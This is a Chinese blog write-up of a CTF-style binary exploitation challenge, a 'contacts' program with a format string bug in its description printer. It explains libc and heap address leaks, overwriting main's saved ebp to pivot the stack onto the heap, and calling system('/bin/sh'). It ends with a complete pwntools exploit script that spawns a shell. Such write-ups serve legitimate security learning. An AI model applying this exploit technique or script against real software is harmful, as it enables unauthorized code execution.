盒子
盒子
文章目录
  1. 前言:
  2. 概述:
  3. 解析:
    1. 获取libc:
    2. 获取堆内存:
    3. 修改ebp:
  4. EXP:

Hijack_Heap

前言:

这几天请了一周的假回了一趟家,没有怎么花时间好好学习,就抽了空余的时间看了几眼,好在能把格式化字符串最后一点的利用方式给撸出来,还是蛮开心的,现在在候机室撸一下解析文章,还有一个半小时就上飞机了,应该来的及写完的吧。有空还想写一写这几天在家里的一些感想,想了蛮多的,还有各种复杂的感情得好好梳理梳理。

概述:

这里讲一下堆内存上面的格式化字符串利用方式,总体来说也就那几个点,学会用n修改地址就行,这里的话肯定会栈上不可执行,而且写入的东西在堆上面,所以这里利用方式就是把栈转移到堆上面来进行利用。

解析:

check一下之后发现:

屏幕快照 2018-05-30 上午6.25.23

开了canary和nx,栈上不可执行,运行之后发现是创建联系人,移除联系人,编辑联系人和显示联系人这几个功能。查看一下漏洞点:

1
2
3
4
5
6
7
8
void __cdecl sub_8048BD1(int a1, int a2, int a3, char *format)
{
printf("\tName: %s\n", a1);
printf("\tLength %u\n", a2);
printf("\tPhone #: %s\n", a3);
printf("\tDescription: ");
printf(format);
}

print format处有格式化字符串的漏洞,再可以看到这块是显示联系人中的显示描述的部分。

屏幕快照 2018-05-30 上午6.32.58

在看输入描述的函数,看见输入描述并不在栈中,而是分配在堆内存之中。用gdb来调,这时候我们应该有一个总体的大致思路:

  1. 获取libc拿到system函数和/bin/sh字符串
  2. 获取到堆内存的存储地址
  3. 修改ebp,使栈迁移到堆上面,使得程序main返回时执行system函数

获取libc:

在格式化字符串漏洞处下断点:

屏幕快照 2018-05-30 上午6.44.51

到断点之后往栈中查看一下有没有可以打印地址的可泄漏的函数:

果然

屏幕快照 2018-05-30 上午6.47.39

看到了libc_start_main的函数,计算便宜之后得到偏移地址为31,所以在描述之中写上

1
%31$p

就能leak出它的地址,再减去247就是真正的libc地址,之后就好利用了。不过这里有一个坑点,这里用libcdatabase得到的偏移,system函数是正确的,但是/bin/sh却一直不正确,所以这里我把gdb attach上去之后用/bin/sh相对于system的偏移来计算了,好在确实正确:

1
2
system_addr = base + libc.symbols['system']
bin_addr = system_addr + 0x120c6b

获取堆内存:

这里也是很方便的:

屏幕快照 2018-05-30 上午6.54.52

我们这里只需要leak描述处的堆地址就好了,因为之后我们可以在描述部分写上system函数地址,控制程序流程之后可以在堆上执行,所以描述部分的偏移为11,只需要写上:

1
%11$p

leak出堆内存地址。

修改ebp:

我们可以控制的恰好是堆内存,所以我们可以把栈迁移到堆上去。这里我们通过leave指令来进行栈迁移,所以在迁移之前我们需要修改程序保存ebp的值为我们想要的值。 只有这样在执行leave指令的时候,esp才会成为我们想要的值。同时,因为我们是使用格式化字符串来进行修改,所以我们得知道保存ebp的地址为多少,而这时PrintInfo函数中存储ebp的地址每次都在变化,而我们也无法通过其他方法得知。但是,程序中压入栈中的ebp值其实保存的是上一个函数的保存ebp值的地址,所以我们可以修改其上层函数的保存的ebp的值,即上上层函数(即main函数)的ebp数值。这样当上层程序返回时,即实现了将栈迁移到堆的操作。

再清楚点:

屏幕快照 2018-05-30 上午7.04.14

图中的蓝色框就是这个显示函数所返回的ebp,蓝色框中所返回的ebp,即紫色框就是main函数的ebp,所以我们只需要将main函数的ebp给改成我们所构造的system_addr - 4 的地址就可以了。这里还需要知道%n和%s的用法差不多,改变的都是栈之中的地址所指向的地方的内容,所以我们只需要改动偏移地址为6的栈中的内容,就可以改变main函数的ebp,这里我们的利用方式就是:

1
playload = system + 'aaaa' + bin_addr + %(duidizhi - 4 - 12) %6$p

最后再选择选项5退出之后,这里执行playload之后所得到的ebp就在system函数的前四位,经过leave之后,esp就指在了system函数上,ret后最终执行system函数。

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
from pwn import *

p = process('./contacts')
libc = ELF('libc.so')
context.log_level = 'debug'

p.recvuntil('>>> ')
p.sendline('1')
p.recvuntil('Name: ')
p.sendline('hello')
p.recvuntil('Enter Phone No: ')
p.sendline('111111')
p.recvuntil('Length of description: ')
p.sendline('100')
p.recvuntil('\n')
p.sendline('%31$p')
p.recvuntil('>>> ')
p.sendline('4')
p.recvuntil('Description: ')
data = p.recvuntil('\n')
data = data.split('\n')[0]
data = int(data,16) - 247
print hex(data)
base = data - libc.symbols['__libc_start_main']
system_addr = base + libc.symbols['system']
bin_addr = system_addr + 0x120c6b
#gdb.attach(p)
print hex(system_addr),hex(bin_addr)

p.recvuntil('>>> ')
p.sendline('3')
p.recvuntil('Name to change? ')
p.sendline('hello')
p.recvuntil('>>> ')
p.sendline('2')
p.recvuntil('Length of description: ')
p.sendline('100')
sleep(1)
p.sendline('%11$p')
p.recvuntil('>>> ')
p.sendline('4')
p.recvuntil('Description: ')
data2 = p.recvuntil('\n').split('\n')[0]
data2 = int(data2,16)
print hex(data2)

p.recvuntil('>>> ')
p.sendline('3')
p.recvuntil('Name to change? ')
p.sendline('hello')
p.recvuntil('>>> ')
p.sendline('2')
p.recvuntil('Length of description: ')
p.sendline('100')
sleep(1)
playload = p32(system_addr) + 'AAAA' + p32(bin_addr)
playload += '%' + str(data2 - 4 - 12) + 'd%6$n'
p.sendline(playload)
p.recvuntil('>>> ')
p.sendline('4')
p.recvuntil('>>> ')
p.sendline('5')

p.interactive()
支持一下
扫一扫,支持v1nke
  • 微信扫一扫
  • 支付宝扫一扫